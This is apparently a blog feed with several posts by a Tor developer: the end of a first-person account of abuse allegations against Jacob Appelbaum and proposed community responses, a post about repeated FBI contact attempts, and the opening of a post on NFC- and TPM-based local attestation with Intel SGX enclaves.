they don&#8217;t believe</em> [that person]<em>.</em> […] <em>I heard there was a plan to &#8216;Confront&#8217; me in Valencia. If that happens, I probably will not take it very&nbsp;well…&#8221;</em></p> <p>This was chilling. Why was Jake saying those things, non sequitur and without provocation? It was clear to me that they were thinly-veiled threats, descriptions of what would soon happen to me. If I stood up to Jake, I could expect him to try to get me fired from The Tor Project. To try to block my acceptance into the doctorate research program he knew that I was, at that point in time, applying to. To feed the media stories about what a horrible person I am. To ostracise me from my social&nbsp;circles.</p> <p>In all of this, I tried to do the right thing, to ensure that no more people were harmed, to give Jake one more chance. I wanted the anarchist, rehabilitation-focused solution, but Jake had only responded to that with threats. Meanwhile, <a href="proxy.php?url=http://jacobappelbaum.net/#portfolioModal6">River</a> and I were introduced through a mutual friend. When Jake threatened me, I was, for a moment, frightened. Then I flew into a fucking rage. Sorry, Jake, but attempting to blackmail me into silence whilst I was defending others is really not a good look for an &#8220;anarchist&#8221; &#8220;free-speech&nbsp;advocate&#8221;.</p> <p>Having run out of ideas and being threatened out of alternative options, I reported everything to the rest of The Tor Project. Well, almost everything. Originally, I only reported others&#8217; stories (with their permission). I left my own story out, and I did not tell it until it was decided that Jake would no longer be part of The Tor&nbsp;Project.</p> <h3>The&nbsp;Trees</h3> <p>This isn&#8217;t about any one individual&#8217;s story. This is about addressing the issues and finding means within our communities to ensure this doesn&#8217;t happen again. This is about building communal structures so that it does not require, as Jake has rather entertainingly called it, <em>&#8220;calculated and targeted attacks&#8221;</em> from victims who otherwise felt alone and powerless to stand up and fight&nbsp;back.</p> <p></p><span style="align:left; float:left; width:40%; margin: 0% 3% 0% 0%;"> <table style="float:left; clear:left;"> <tbody> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=/static/images/2016/06/rosa-luxembourg-and-clara-zetkin.jpg"> <img alt="Clara Zetkin and Rosa Luxembourg, early women's rights activists in Germany, marching at a demonstration, arm in arm." style="width:100%; padding:5px; " src="proxy.php?url=/static/images/2016/06/rosa-luxembourg-and-clara-zetkin.jpg" /> </a> </td> </tr> </tbody> </table> <caption><p style="font-size: 80%"> Photo: <a href="proxy.php?url=https://en.wikipedia.org/wiki/Clara_Zetkin">Clara Zetkin</a> and <a href="proxy.php?url=https://en.wikipedia.org/wiki/Rosa_Luxemburg">Rosa Luxembourg</a>, early women&#8217;s rights activists, marching at a demonstration, arm in&nbsp;arm. </p> </caption> </span> </p><br /><p></p> <p>I have spoken personally with every person whose story was <a href="proxy.php?url=https://archive.is/8m4Yk">published in the original set on the anonymous site</a>. I am convinced beyond reasonable doubt that each of them is true. I added my own story to the site in solidarity with the other victims, especially these who remain anonymous, as someone with the social standing, and hence, enormous level of privilege, required to be able to eventually go public. Many of the other victims do not have this privilege. Whether due to marginalisation, fear of retailiation, or being new to our communities, <a href="proxy.php?url=https://medium.com/@oxbloodruffin/public-figures-anonymous-victims-543f0b02d684">many sexual assault victims require anonymity</a>, because — without anonymity — they would be&nbsp;silenced.</p> <p>Jake never apologised to me, nor — to my knowledge — any of the other victims. I don&#8217;t condone his actions. However, and no apologies for being crass, I can&#8217;t seem to motivate myself to feel any pity towards him for any of the admittedly horrible things which are now happening to him. He ruined lives. The number of people we would have in a significantly more productive and less damaged state were it not for his actions is substantial, and futher, those people in a less damaged state would be overall substantially more beneficial than having a Jake in a less damaged state. Additionally, we would likely have had more diverse contributors to Tor, if we had dealt with Jake sooner, since, for years, many people have been warned about Jake through a whisper network and disuaded from becoming&nbsp;involved.</p> <p>There are some differences between how Jake is behaving to how the other anarchist I mentioned above was behaving. The other anarchist was willing to engage in the defined process, respectful of his victims&#8217; needs, and eventually sincerely apologetic for his&nbsp;actions.</p> <p>I cannot condone his actions; however, I cannot condone violence and threats against Jake. Full stop. That is not productive. If he is further harmed, we never see the end of the wretched <a href="proxy.php?url=http://www.nytimes.com/1989/01/24/science/sad-legacy-of-abuse-the-search-for-remedies.html">abused-abuser cycle</a>.</p> <p><a href="proxy.php?url=http://yas.sagepub.com/content/early/2010/01/07/0044118X09358313.abstract">People who behave as Jake does are sick</a>, and they <a href="proxy.php?url=http://www.nytimes.com/1989/01/24/science/sad-legacy-of-abuse-the-search-for-remedies.html">need help</a>. Often, it is because <a href="proxy.php?url=http://www.tandfonline.com/doi/abs/10.1080/10926770903475968">they were severely hurt</a> at some point. As the activist adage goes, <em>&#8220;We need to be gentle with one another, so that we can be dangerous together.&#8221;</em> If we think Jake has any capacity for change, then it is our responsibility to ensure that he is not simply swept under a rug of academia where he will most certainly find a <a href="proxy.php?url=https://blog.cr.yp.to/20160607-dueprocess.html">deeply-ingrained institutional structure of rape apologists</a> ready to turn a blind eye and willing to help Jake &#8220;fail up&#8221; to another position of power and credibility, where he will use that power to commit further acts of abuse. I am thoroughly dismayed for what is <a href="proxy.php?url=http://mcq.sagepub.com/content/16/4/471.short">statistically likely to happen again</a>, causing harm to and trust issues for their students, and professional and reputational issues for&nbsp;them.</p> <h3>Realpolitiking</h3> <p>Now. For all of you screaming <em>&#8220;This is not what justice looks like! Why don&#8217;t you just go to the police?!&#8221;</em> let me just wax realpolitik and, like a good little German, quote some <em>Gesetz</em> and cite some&nbsp;statistics.</p> <p>The &#8220;due process&#8221; of a state court, in my case, will be detrimental to both Jake and I, as well as numerous other people. The law is very clearly against both of us in this case, with the overwhelmingly <a href="proxy.php?url=https://www.gesetze-im-internet.de/aufenthg_2004/__53.html">likely outcome</a> that he would be <a href="proxy.php?url=https://www.gesetze-im-internet.de/aufenthg_2004/__54.html">kicked out of Germany</a>. (Additionally, in Germany, multiple independent allegations can result in a conviction given the absense of other&nbsp;evidence.)</p> <p>The other outcome is one or more convictions. While convictions for rape and sexual assault are statistically unlikely, given that <a href="proxy.php?url=http://www.informationisbeautiful.net/visualizations/rape-a-lack-of-conviction/">only about 7% of reported rapes result in a conviction</a> with <a href="proxy.php?url=http://cwasu.org/filedown.asp?file=Germany_English%281%29.pdf">similar numbers for Germany</a>, we have an advantage. By German case law, multiple independent allegations are very likely to result in conviction(s), even despite the absense of other evidence, e.g. bruises, marks, semen, which would be required in a solitary allegation. If brought to court, here are some of the applicable laws and their corresponding minimum/maximum prison&nbsp;terms:</p> <p><a href="proxy.php?url=http://jacobappelbaum.net/#portfolioModal3">Forest</a></p> <ul> <li>One count of rape (<a href="proxy.php?url=https://www.gesetze-im-internet.de/stgb/__177.html">§177 of the Strafsgesetzbuch</a> paragraph 1) for a person in an unconscious state or otherwise incapable of verbal disagreement or resistance (<a href="proxy.php?url=https://www.gesetze-im-internet.de/stgb/__179.html">§179 of the Strafsgesetz</a>): minimum, one year; maximum, ten&nbsp;years.</li> <li>One <a href="proxy.php?url=https://www.gesetze-im-internet.de/stgb/__253.html">count of blackmail</a>: minimum, none; maximum: five&nbsp;years.</li> </ul> <p><a href="proxy.php?url=http://jacobappelbaum.net/#portfolioModal2">River</a></p> <ul> <li>One count of rape (<a href="proxy.php?url=https://www.gesetze-im-internet.de/stgb/__177.html">§177 of the Strafsgesetzbuch</a> paragraph 1),&nbsp;including</li> <li>Instructing a third party to rape the victim (<a href="proxy.php?url=https://www.gesetze-im-internet.de/stgb/__177.html">§177 of the Strafsgesetzbuch</a> paragraph 2, sentence 2), making it a &#8220;severe&nbsp;case&#8221;,</li> <li>Both counts were penetrative intercourse (<a href="proxy.php?url=https://www.gesetze-im-internet.de/stgb/__177.html">§177 of the Strafsgesetzbuch</a> paragraph 2, sentence 1), also making it a &#8220;severe&nbsp;case&#8221;,</li> <li>The victim was additionally in an unconscious state and uncapable of verbal or physical resistance (<a href="proxy.php?url=https://www.gesetze-im-internet.de/stgb/__179.html">§179 of the Strafsgesetz</a>, including paragraph 5, as well as paragraph 5 sentence 2): minimum: two years; maximum: ten&nbsp;years.</li> </ul> <p><a href="proxy.php?url=http://jacobappelbaum.net/#portfolioModal1">Sam</a></p> <ul> <li>Sexual assault (<a href="proxy.php?url=https://www.gesetze-im-internet.de/stgb/__177.html">§177 of the Strafsgesetzbuch</a> paragraph 1): minimum, one year; maximum: ten&nbsp;years.</li> </ul> <p>Totalling to four years minimum and thirty-five years maximum for those cases alone, along with potential fines and reparations, and expulsion from the country afterwards (cf. <a href="proxy.php?url=https://www.gesetze-im-internet.de/aufenthg_2004/__53.html">§53 and §54 of the Aufenthaltsgesetz</a>). (For English speakers curious about the German laws I&#8217;m referencing, there are also <a href="proxy.php?url=https://www.gesetze-im-internet.de/englisch_stgb/index.html">official English translations</a>.)</p> <p>Not to mention that, if our goal is to prevent more people from being harmed by Jake, prison is not an option. Overwhelmingly likely, <a href="proxy.php?url=http://www.zeit.de/2012/34/DOS-Gefaengnisse-Deutschland-Gewalt">even in Germany</a>, Jake would be raped in prison. I do not wish these painful things I&#8217;ve gone through on anyone, not even those who have caused me pain. Further, <a href="proxy.php?url=http://www.bjs.gov/content/pub/pdf/parip.pdf">most abusers have a history of having been abused at some point in their past</a>, and Jake going to prison certainly will not help him amend his&nbsp;behaviour.</p> <h3>Alternatives</h3> <p>Some people are asking what the victims want out of&nbsp;this.</p> <p>Personally, I would be completely ecstatic if Jake decided to move to Alaska. Forever. Jake is <em>still threatening the other victims</em> to try to keep them quiet, and additional reports of extremely severe sexual assaults and rape are pouring in to The Tor Project. Meanwhile, Jake is preparing some sort of public &#8220;apology&#8221; statement. Alaska, or northern Siberia — it doesn&#8217;t matter. Until his sociopathic behaviours are revised, there is no place for him in civil&nbsp;society.</p> <p>As it is obviously rather untenable that Jake move to Alaska, I suggest the following. Please note that these are my suggestions alone, and do not necessarily at this point in time reflect those of all of the other victims. We&#8217;re all still processing&nbsp;this.</p> <ol> <li> <p>We need to entirely remove abusers from our communities, until such a time as they have sufficiently demonstrated <em>to their victims</em> that their abusive behaviours will no longer continue. Jake should be removed from all places where his victims, their loved ones, and friends might come into any form of contact with him. Given the enormous amounts of pain myself and the other victims have gone through, the draining emotional stress, and (please excuse my rather dark humour) the development time wasted, <strong>I am not willing to revisit this issue for at least four years</strong>. After that time has passed, it <em>may</em> be possible to reassess whether there is any path forward for&nbsp;Jake.</p> </li> <li> <p>We need to assess the cultural issues within our communities which require that victims report anonymously, due to fears of retaliation, further abuse, and not being taken seriously. Once identified, we need to devise better reporting and support structures to help allay these&nbsp;fears.</p> </li> <li> <p>We need to take victims&#8217; stories seriously. It should not be required that victims band together in collectives in order to be heard. Nor should it be required that someone who stands up for others must have and share their own story of victimisation to &#8220;prove&#8221; the credibility of the others, as was my case. It should not be required that a dozen people are harmed before any one of them is taken&nbsp;seriously.</p> </li> <li> <p>We need to critique the institutions — sociocultural, academic, and organisational — which made these events&nbsp;possible.</p> </li> <li> <p>Those who must still have some form of contact with Jake, and by that I primarily mean others within the academic and journalistic communities, need to be given ways to raise safety and ethical concerns without fear of retribution or retaliation. It is my understanding that several researchers and students do not currently feel this way, and that this is having a severe impact upon their abilities to be successful and&nbsp;productive.</p> </li> </ol> <p>Lastly, I would like to say that I&#8217;ve never been prouder to work for The Tor Project, as their recent actions to stand against abuse have set nothing short of an exemplary model for other&nbsp;organisations.</p>FBI Harassment2016-05-01T05:29:00+00:002016-05-04T18:55:00+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2016-05-01:/fbi-harassment.html<!-- Original headers: --> <!-- Date: 2015-12-08 05:29 --> <!-- Slug: 815df063fdbdd7697805b1a3622eaa22a2b4ca19e25f588d993bf121c67d13c9--> <p><i><b>Obligatory Disclaimer:</b> Personal or political views presented within this post absolutely do not reflect those of my employer(s), client(s), and/or legal&nbsp;counsel.</i></p> <p>In the final week of November 2015, a Special Agent from the Federal Bureau of Investigation, Mr. Mark Burnett, knocked on the door of my family&#8217;s home and left his card, with an additional phone number penciled in. All my family members residing in America had planned a week-long vacation and were all on a remote island. When the <span class="caps">FBI</span> receives <span class="caps">DHS</span> flight records as if they&#8217;re the morning paper, I must admit that whatever reasons for why the Bureau didn&#8217;t know that I or my family were absent escape me&nbsp;entirely.</p> <p></p><span style="align:left; float:left; width:100%;"> <table style="float:left; clear:left; width:100%; margin: 1px;"> <tbody> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=/static/images/2015/12/card.jpeg"> <img alt="The card of special agent Mark Burnett" style="width: 700px;" src="proxy.php?url=/static/images/2015/12/card.jpeg" /> </a> </td> </tr> </tbody> </table> </span> </p><br /><p></p> <p>My mom found the above card of Agent Burnett, face down on the marble entryway of the house, some days after returning home from vacation. As credit to her and my dad, and, the sheer chaos of every member of our family (including my sibling) being hackers/programmers, at first they didn&#8217;t assume the card had anything to do with me. After all, I don&#8217;t live in America anymore, and also anyone who knows me in the slightest is well aware that I&#8217;m so horribly busy with work… such that for several years I&#8217;ve often ignored, stood up, and let down my closest friends. My mother assumed that, if it were really important, the agent would call her. He did, while she was at work a couple days later. (As an aside: that any random <span class="caps">FBI</span> agent has the ability to learn someone&#8217;s personal cell phone number and use it — uninvited — is, in my opinion, extremely threatening and unacceptable.) He didn&#8217;t say what he wanted, only that he wanted to know how to contact her daughter. I was travelling (as always), and my mother didn&#8217;t have a phone number for&nbsp;me.</p> <p>I had already been in the process of moving, permanently, to Germany, and had retained a German immigrations lawyer several months prior to these events. In late November, not knowing this had already been taking place, I returned to the <span class="caps">US</span> for two weeks to visit family and friends for the holidays, collect my remaining belongings, and make any needed long-term&nbsp;arrangements.</p> <p>Word got to my lawyer in the <span class="caps">US</span>, who decided to call <span class="caps">FBI</span> Special Agent Mark Burnett, on that Friday, saying that he represented me and my family. Burnett said the <span class="caps">FBI</span> simply wanted to ask me some questions. My lawyer responded by stating that, as my invoked representation, all questions should be directed to him rather than to me or my family. The agent agreed, paused while some muffled male voices were heard in the background, and asked to call back in five&nbsp;minutes.</p> <p>Five minutes later, Burnett called back and said, <em>&#8220;I don&#8217;t believe you actually represent her.&#8221;</em>¹ Burnett stated additionally that a phone call from me might suffice, but that the <span class="caps">FBI</span> preferred to meet …</p><!-- Original headers: --> <!-- Date: 2015-12-08 05:29 --> <!-- Slug: 815df063fdbdd7697805b1a3622eaa22a2b4ca19e25f588d993bf121c67d13c9--> <p><i><b>Obligatory Disclaimer:</b> Personal or political views presented within this post absolutely do not reflect those of my employer(s), client(s), and/or legal&nbsp;counsel.</i></p> <p>In the final week of November 2015, a Special Agent from the Federal Bureau of Investigation, Mr. Mark Burnett, knocked on the door of my family&#8217;s home and left his card, with an additional phone number penciled in. All my family members residing in America had planned a week-long vacation and were all on a remote island. When the <span class="caps">FBI</span> receives <span class="caps">DHS</span> flight records as if they&#8217;re the morning paper, I must admit that whatever reasons for why the Bureau didn&#8217;t know that I or my family were absent escape me&nbsp;entirely.</p> <p></p><span style="align:left; float:left; width:100%;"> <table style="float:left; clear:left; width:100%; margin: 1px;"> <tbody> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=/static/images/2015/12/card.jpeg"> <img alt="The card of special agent Mark Burnett" style="width: 700px;" src="proxy.php?url=/static/images/2015/12/card.jpeg" /> </a> </td> </tr> </tbody> </table> </span> </p><br /><p></p> <p>My mom found the above card of Agent Burnett, face down on the marble entryway of the house, some days after returning home from vacation. As credit to her and my dad, and, the sheer chaos of every member of our family (including my sibling) being hackers/programmers, at first they didn&#8217;t assume the card had anything to do with me. After all, I don&#8217;t live in America anymore, and also anyone who knows me in the slightest is well aware that I&#8217;m so horribly busy with work… such that for several years I&#8217;ve often ignored, stood up, and let down my closest friends. My mother assumed that, if it were really important, the agent would call her. He did, while she was at work a couple days later. (As an aside: that any random <span class="caps">FBI</span> agent has the ability to learn someone&#8217;s personal cell phone number and use it — uninvited — is, in my opinion, extremely threatening and unacceptable.) He didn&#8217;t say what he wanted, only that he wanted to know how to contact her daughter. I was travelling (as always), and my mother didn&#8217;t have a phone number for&nbsp;me.</p> <p>I had already been in the process of moving, permanently, to Germany, and had retained a German immigrations lawyer several months prior to these events. In late November, not knowing this had already been taking place, I returned to the <span class="caps">US</span> for two weeks to visit family and friends for the holidays, collect my remaining belongings, and make any needed long-term&nbsp;arrangements.</p> <p>Word got to my lawyer in the <span class="caps">US</span>, who decided to call <span class="caps">FBI</span> Special Agent Mark Burnett, on that Friday, saying that he represented me and my family. Burnett said the <span class="caps">FBI</span> simply wanted to ask me some questions. My lawyer responded by stating that, as my invoked representation, all questions should be directed to him rather than to me or my family. The agent agreed, paused while some muffled male voices were heard in the background, and asked to call back in five&nbsp;minutes.</p> <p>Five minutes later, Burnett called back and said, <em>&#8220;I don&#8217;t believe you actually represent her.&#8221;</em>¹ Burnett stated additionally that a phone call from me might suffice, but that the <span class="caps">FBI</span> preferred to meet with me in person. After a pause he said, <em>&#8220;But… if we happen to run into her on the street, we&#8217;re gonna be asking her some questions without you&nbsp;present.&#8221;</em></p> <p>My lawyer and I discussed what the <span class="caps">FBI</span> could possibly want. Theories ranged from attempted entrapment, to the recent and <em>completely unethical</em> Carnegie Mellon University (<span class="caps">CMU</span>) attacks on the live Tor network, to a Grand Jury subpoena for someone else, to some shady request for a backdoor in some software I contribute to. We honestly could not come up with any coherent rationale for why the <span class="caps">FBI</span> would suddenly decide to come after me, as, to my knowledge, I have done nothing which should warrant any interest besides my contributions to open source encryption&nbsp;tools.</p> <p>In the case that they might have asked for a backdoor, I tried to distract myself from the overwhelming (I don&#8217;t think I&#8217;ve actually fully understood the word &#8220;overwhelming&#8221; before these events)&nbsp;stress.</p> <p>I still planned to continue moving, of course, but now things would need to go to different places, and by different means. I didn&#8217;t know if I&#8217;d be stopped at the <span class="caps">US</span> border, or even prevented entirely from leaving. I started having panic attacks, thinking that I&#8217;d need to get myself and <em>literally</em> every object, including electronics, that I cared about accross the border, knowing they&#8217;d have the ability to detain me and mess with my belongings for as long as they liked. Every device I owned could be compromised, I&#8217;d lose all my data, my pictures of family and loved ones, fiction I&#8217;d wrote as a teenager, and Lisp I&#8217;d wrote as a child. I&#8217;ll admit I actually cried, not knowing when I&#8217;d hug my mom again. I prepared myself mentally, trying to model every possible tactic the <span class="caps">FBI</span> could play and my planned&nbsp;response.</p> <p>If they ask for information on anyone else, or think I witnessed or committed some crime: I solemnly invoke my Miranda rights. No joking. No snark. No fucking around. <a href="proxy.php?url=https://www.youtube.com/watch?v=d-7o9xYp7eE">Everyone knows you don&#8217;t talk to the police</a>.</p> <p>If they want a backdoor, or some other extralegal information about users or systems, likewise: I&#8217;d ask for my lawyers and shut&nbsp;up.</p> <p>I didn&#8217;t talk to anyone who wasn&#8217;t already in regular contact with me, fearing I might endanger them — some thug might show up at their mom&#8217;s door or make some threats to their lawyers — and I didn&#8217;t want to risk harming people I care about. It hurt to not tell my friends what was happening. I felt gagged and frightened. I wanted to play chess in the park. I wanted to learn duets on the piano. I wanted to ride bicycles through the ancient groves in the park in the endless Californian sunshine. I wanted to bring homemade vegan gluten-free brownies and stickers from collectives in France to my friends at the <span class="caps">EFF</span>. To be selfish, I wanted to read the number theory papers I&#8217;d just downloaded and play with a new pairing-based cryptography library I&#8217;d just been given the source to, but I couldn&#8217;t do those things either, simply because I was too stressed out to think&nbsp;straight.</p> <p>I got absolutely no work&nbsp;done.²</p> <p>If you&#8217;re going to get arrested, you might as well look good and smile your brightest while doing so. In a blur of anxiety and self-consciousness, I bought a pair of blue-green aviators and matching blue-green lipstick. <em>This will totally build rapport with my interlocutors,</em> I told myself. They will have no alternative but to understand that I fight for the good guys, that they should immediately drop their badges and guns — but keep the aviators! — to join me to fight for the true cause and&nbsp;freedom!</p> <p>Due to speak at several cryptographic conferences in Europe, I flew from San Francisco&#8217;s internation airport to Brussels on the next Monday evening, on the latest flight I could get. I had been advised by another lawyer that, &#8220;For the <span class="caps">FBI</span>, &#8216;quitting time&#8217; means quitting. After 5 o&#8217;clock, you&#8217;re good; you can do whatever you want, party in the streets naked on <span class="caps">LSD</span>, and they won&#8217;t notice a thing.&#8221; I also booked a return flight (though I had no intention of using it, since I planned to live in Germany) upon the advice of multiple lawyers. With printed out conference and speaking invites, blue-green aviators, and blue-green lipstick, I went to San Francisco International Airport expecting to be detained indefinitely and lose everything I cared&nbsp;about.</p> <p>Nothing&nbsp;happened.</p> <p>I don&#8217;t understand this. The <span class="caps">FBI</span> is handed <span class="caps">DHS</span> flight records like they&#8217;re the morning edition. They should have known, when they knocked on my parents&#8217; door, that no one would be home. They should have known when I would fly into San Francisco, and they could have easily detained me then. They reasonably could have known, and potentially acted fast enough, to detain me when I left San Francisco for&nbsp;Brussels.</p> <p>Once in Germany, I proceeded to compile &#8220;The Book&#8221; of documents necessary for obtaining an Aufenthaltserlaubnis (roughly translated, &#8220;residence visa with permission to work certain jobs, e.g. as a contractor/freelancer&#8221;). My appointment was in early January. The day before my appointment, I spoke with my lawyer. He had received another call, this time from a <span class="caps">FBI</span> Special Agent Kelvin Porter in&nbsp;Atlanta.</p> <blockquote> <p>Lawyer:&nbsp;Hello?</p> <p>Agent: Hello, this is Special Agent Kelvin Porter at the <span class="caps">FBI</span> field offices in Atlanta. I&#8217;m calling concerning your&nbsp;client.</p> <p>Lawyer: Yes. Why are you trying to contact&nbsp;her?</p> <p>Agent: Well… as before… we would strongly prefer to meet her in person. We have teams in Los Angeles, San Francisco, Chicago, New York, and Atlanta keeping an eye out for&nbsp;her.</p> <p>Lawyer: Your colleague mentioned last time that you would accept a phone&nbsp;call?</p> <p>Agent: We would strongly prefer to meet her in person. We… uh… have some documents we&#8217;d like her opinion&nbsp;on.</p> <p>Lawyer: Umm…? What&nbsp;documents?</p> <p>Agent: Anyway, if she&#8217;s available to meet with us, that would be great,&nbsp;thanks.</p> </blockquote> <p>It didn&#8217;t <em>exactly</em> help with the stress of applying for a residence visa to know that there were teams in five cities across America keeping an eye out for me. However, I&#8217;m glad to say that, the next day, my residence visa was approved. Eight hours afterwards, my laywer received a voicemail&nbsp;saying:</p> <blockquote> <p>Agent: Hello this is Special Agent Kelvin Porter, we spoke two days ago regarding your client. Umm… well… so the situation with the documents… it&#8217;s umm… it&#8217;s all fixed. I mean, we would of course still be happy to meet with your client if she&#8217;s willing, but the problem has… uh… yeah… been fixed. And uh… yeah. Just let us know if she wants to set up a&nbsp;meeting.</p> </blockquote> <p>Admittedly, I can&#8217;t even begin to understand what was going on here. Documents? Was this attempted entrapment? Or were they using this as bait to get me interested in meeting them, so that they could ask about something else? I mean, help me, please — I really don&#8217;t understand what the <span class="caps">FBI</span>&#8217;s strategy was&nbsp;here.</p> <p>Or, are they retracting their previous position in order to entice me to return to the <span class="caps">US</span>? Should I be worried about what happens to me when I return? Why is the <span class="caps">FBI</span> trying to make a developer of an open source encryption tool feel unwelcome in their country of origin? Should I try to get a different citizenship? Is my family safe in the <span class="caps">US</span>? Should I worry about the <span class="caps">FBI</span> raiding my parents&#8217; house and shooting our family dog? Should I worry about <span class="caps">FBI</span> agents stalking and harrassing my mother? Is this really how the United States has decided to treat American tech workers? Am I just the forerunner in a larger campaign by the <span class="caps">FBI</span> to personally go after developers of encryption software which annoys&nbsp;them?</p> <hr> <p><strong>Update:</strong>&nbsp;2016-04-26</p> <p>The <span class="caps">FBI</span> has contacted my lawyer again. This time, they said, &#8220;She should meet with one of our agents in San Francisco to talk. Otherwise, are you the point of contact for serving a subpoena? She&#8217;s not the target of investigation, but, uh… we uh… need her to clear up her involvement or… uh… <em>potential</em> involvement in a&nbsp;matter.&#8221;</p> <p>In case the <span class="caps">FBI</span> is seeking data on Tor users or Tor bridges, and especially in case the subpoena turns out to be sealed or accompanied by an <span class="caps">NSL</span>: the original published contents of this post are archived as a <span class="caps">PDF</span> <a href="proxy.php?url=https://fyb.patternsinthevoid.net/blog.patterns-in-the-void-2016-04-30.pdf">here</a>, and the <span class="caps">RIPE160</span>(<span class="caps">SHA256</span>(<span class="caps">PDF</span>)) is equal to 5541405e08048658cf457b3c59bf42a51f84a1a3 and hence <a href="proxy.php?url=https://blockchain.info/address/18mnc4BCud3vjAdLbCc3QhyrjN84VTT1iM">Bitcoin address 18mnc4BCud3vjAdLbCc3QhyrjN84VTT1iM</a>, in order to prove in a cryptographically verifiable manner that I published before that point in&nbsp;time.</p> <p>For over a year, I have maintained <a href="proxy.php?url=https://fyb.patternsinthevoid.net/canary.html">a warrant canary</a> which covers the case of law enforcement agencies serving me a subpoena for information about Tor users or Tor&nbsp;bridges.</p> <hr> <p>¹ My lawyer mentioned a legal technicality (which may or may not be <em>actually</em> legal because precedent is unclear): having a prior retainer to a defense lawyer in the United States does <em>not</em> mean that a lawyer can invoke the client&#8217;s Miranda Rights (i.e. the right to remain silent) <em>for</em> the client, but that the client may be technically required to personally invoke their own Miranda&nbsp;Rights.</p> <p>² Dear <span class="caps">FBI</span>, for what it&#8217;s worth: technically, financially-speaking, we&#8217;re funded by the same government. You can view my current contract and pay <a href="proxy.php?url=http://people.torproject.org/~isis/otf-etfp-proposal.pdf">here</a> and you can subscribe to <a href="proxy.php?url=mailto:[email protected]?subject=subscribe">any</a> <a href="[email protected]">of</a> <a href="[email protected]">several</a> mailing lists in order to track my development progress. You can also <a href="proxy.php?url=https://gitweb.torproject.org/user/isis">watch</a> <a href="proxy.php?url=https://code.ciph.re/">my</a> <a href="proxy.php?url=https://github.com/isislovecruft">commits</a> in real time. You can literally see everything I do, who I work for, how much money I make, where I go, and probably a whole bunch of other data about me. I have an <a href="proxy.php?url=mailto:[email protected]">email address</a> (and legal counsel). Protip: do your homework next&nbsp;time.</p>Using Intel SGX Enclaves in NFC-enabled TPM-based Local Attestation2016-01-28T15:29:00+00:002016-12-19T23:24:37+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2016-01-28:/sgx-nfc-tpm.html <p>Previously, <a href="proxy.php?url=https://twitter.com/mjg59">Matthew Garrett</a> and I came up with an new idea for a method of local attestation. Local attestation here means: <em>authenticating the computer that the user possesses a valid hardware token</em> and <em>authenticating to the user that the computer is executing the intended code, and that said code has not been tampered with.</em> The idea is to use some <span class="caps">NFC</span>-enabled &#8220;smart&#8221; wearable device, something trivially hideable on (or <em>inside</em>¹) one&#8217;s person in order to authenticate to the <span class="caps">TPM</span>, which then validates that the next stage of code to be executed, e.g. usually the kernel (ring 0) or the hypervisor (ring &#8220;-1&#8221;), has verifiable integrity. Matthew has <a href="proxy.php?url=https://media.ccc.de/v/32c3-7343-beyond_anti_evil_maid">a great 32c3 talk</a> on <span class="caps">TPM</span>-based local attestation, and even breifly, towards the end of the video, mentions the <span class="caps">NFC</span>&nbsp;ideas.</p> <p>As an example use case, this would allow journalists² greater safety when crossing borders. Your laptop got taken away by the <span class="caps">TLA</span> at a border? Not such a problem; it simply doesn&#8217;t boot without you present. The <span class="caps">TLA</span> took your laptop into the back room to try to install some malware on it? No worries, because your laptop will refuse to boot the next time you try to do so (or it could signal in some other way that the system was compromised… however, refusing to decrypt the user&#8217;s harddrive is probably a bare minimum safety requirement, and refusing to boot at all is probably the&nbsp;safest).</p> <p>However, all of this places a great deal of trust in both the <span class="caps">TPM</span> device and its&nbsp;manufacturer…</p> <p>Despite <a href="proxy.php?url=https://twitter.com/rootkovska">Joanna</a> Rutkowska&#8217;s <a href="proxy.php?url=http://theinvisiblethings.blogspot.ru/2013/08/thoughts-on-intels-upcoming-software.html">concerns over untrusted user input/output</a>, it would be interesting to see a system, built upon the above local attestation method, which uses an <a href="proxy.php?url=https://software.intel.com/en-us/blogs/2013/09/26/protecting-application-secrets-with-intel-sgx">Intel <span class="caps">SGX</span> enclave</a> (see the <a href="proxy.php?url=https://software.intel.com/sites/default/files/managed/07/b7/319433-023.pdf#page=36">Intel Instruction Set Extensions Programming Reference</a> for architectural details) to execute code whose integrity has been previously verified through two-factor authenticated <span class="caps">TPM</span> local attestation. This doesn&#8217;t require user I/O, and it doesn&#8217;t require anything to be displayed to the user. What it would provide, however, is a way for the code whose integrity is verified by the <span class="caps">TPM</span> to remain safely isolated&nbsp;from:</p> <ul> <li>the <span class="caps">BIOS</span>, or tampering&nbsp;thereof,</li> <li>System Management Mode (<span class="caps">SMM</span>),&nbsp;and,</li> <li>(possibly) Intel Active Management Technology (<span class="caps">AMT</span>) — modulo Intel&#8217;s <span class="caps">SGX</span> implementation (and how much you trust said implementation to protect you from their <span class="caps">AMT</span>&nbsp;backdoor).</li> </ul> <p>This protects against tampering of the <span class="caps">BIOS</span> itself, which, otherwise, could possibly subvert the initialisation of the <span class="caps">TPM</span> hardware and cause the integrity verification checks to falsely pass. Without <span class="caps">SGX</span>, <span class="caps">SMM</span> (ring &#8220;-2&#8221;) would have the capability to emulate and/or forward calls to and from the <span class="caps">TPM</span> device, and as such any <span class="caps">SMM</span>-based attack would completely subvert the local&nbsp;attestation.</p> <p>Additionally, in my and Matthew&#8217;s <span class="caps">NFC</span>-<span class="caps">TPM</span>-based local attestation method, the cryptographic code for verification would need to be partially executed on the &#8220;smart&#8221; device. In <a href="proxy.php?url=https://media.ccc.de/v/32c3-7343-beyond_anti_evil_maid">Matthew&#8217;s 32c3 talk</a>, the laptop uses a pre-shared key, stored in the <span class="caps">TPM</span>, to generate …</p> <p>Previously, <a href="proxy.php?url=https://twitter.com/mjg59">Matthew Garrett</a> and I came up with an new idea for a method of local attestation. Local attestation here means: <em>authenticating the computer that the user possesses a valid hardware token</em> and <em>authenticating to the user that the computer is executing the intended code, and that said code has not been tampered with.</em> The idea is to use some <span class="caps">NFC</span>-enabled &#8220;smart&#8221; wearable device, something trivially hideable on (or <em>inside</em>¹) one&#8217;s person in order to authenticate to the <span class="caps">TPM</span>, which then validates that the next stage of code to be executed, e.g. usually the kernel (ring 0) or the hypervisor (ring &#8220;-1&#8221;), has verifiable integrity. Matthew has <a href="proxy.php?url=https://media.ccc.de/v/32c3-7343-beyond_anti_evil_maid">a great 32c3 talk</a> on <span class="caps">TPM</span>-based local attestation, and even breifly, towards the end of the video, mentions the <span 